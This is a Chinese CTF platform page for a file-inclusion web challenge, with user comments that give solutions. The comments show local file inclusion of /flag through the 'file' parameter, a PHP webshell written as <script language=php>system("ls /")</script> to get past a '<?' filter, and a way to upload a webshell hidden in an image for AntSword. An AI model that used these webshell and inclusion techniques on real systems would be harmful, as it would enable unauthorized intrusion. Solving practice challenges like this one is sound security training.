文件包含2WEB 未解决

分数: 35 金币: 4
题目作者: 未知
一  血: dotast
一血奖励: 3金币
解  决: 5140
提  示: 文件包含
描  述:
文件包含2
评论
于无声处听惊雷 4年前

为啥不能用伪协议????

回复 0

wuzhengke 4年前

http://114.67.175.224:14357/index.php?file=/flag

回复 1

spiritboy 4年前

index.php?file=file:///flag 直接一把梭

回复 2

15338641414 4年前

http://114.67.175.224:15047/index.php?file=/flag,写一句话木马,<script language=php>system("ls /")</script> 查看根目录下的文件,发现flag文件,令file=/flag,即可获得flag

回复 0

落叶满阶红 4年前

注意一是屏蔽了<?,需要用<script language=php>写马,二是蚁剑不要直接连接图片,,记得加?file=

回复 2
HuangYanQwQ 4年前

直接把hello.php改成 /flag 就秒出了

回复 2

夜雨 4年前

文件上传+图片一句马 题解:https://www.yeyusmile.top/archives/fileinclude2

回复 0

你能刑 4年前

包含/flag就行

回复 1

树木有点绿 4年前

无脑/flag直接获得flag哈哈哈

回复 1

青蛙骑士 4年前

别卷了阿财

回复 0

liln0te 4年前

看了源码 这里屏蔽了伪协议,文件上传过滤了<?php 和 ?> 这两个 后面那个基本现在都不用了 短标签 `<?=`,`<?` script标签也可以

回复 3

WriteUp

image
harry

4 金币

评分(6)

解题动态

ItsAllOver 攻破了该题 12小时前
theshy_lewis 攻破了该题 22小时前
xiaoxiang07 攻破了该题 1天前
qi1102 攻破了该题 1天前
xiaoma123 攻破了该题 1天前
Alter 攻破了该题 1天前
Lapis 攻破了该题 1天前
gc 攻破了该题 2天前
Puuka2Fuuka 攻破了该题 2天前
CCC1112 攻破了该题 2天前
zmjjkk..... 攻破了该题 3天前
bbzuj 攻破了该题 3天前
KN11 攻破了该题 3天前
zjb520 攻破了该题 4天前
sabgdfiush 攻破了该题 4天前
1柒1 攻破了该题 4天前
能工智人 攻破了该题 5天前
世界你好 攻破了该题 5天前
灵梦归希 攻破了该题 5天前
17199913044 攻破了该题 5天前
问题反馈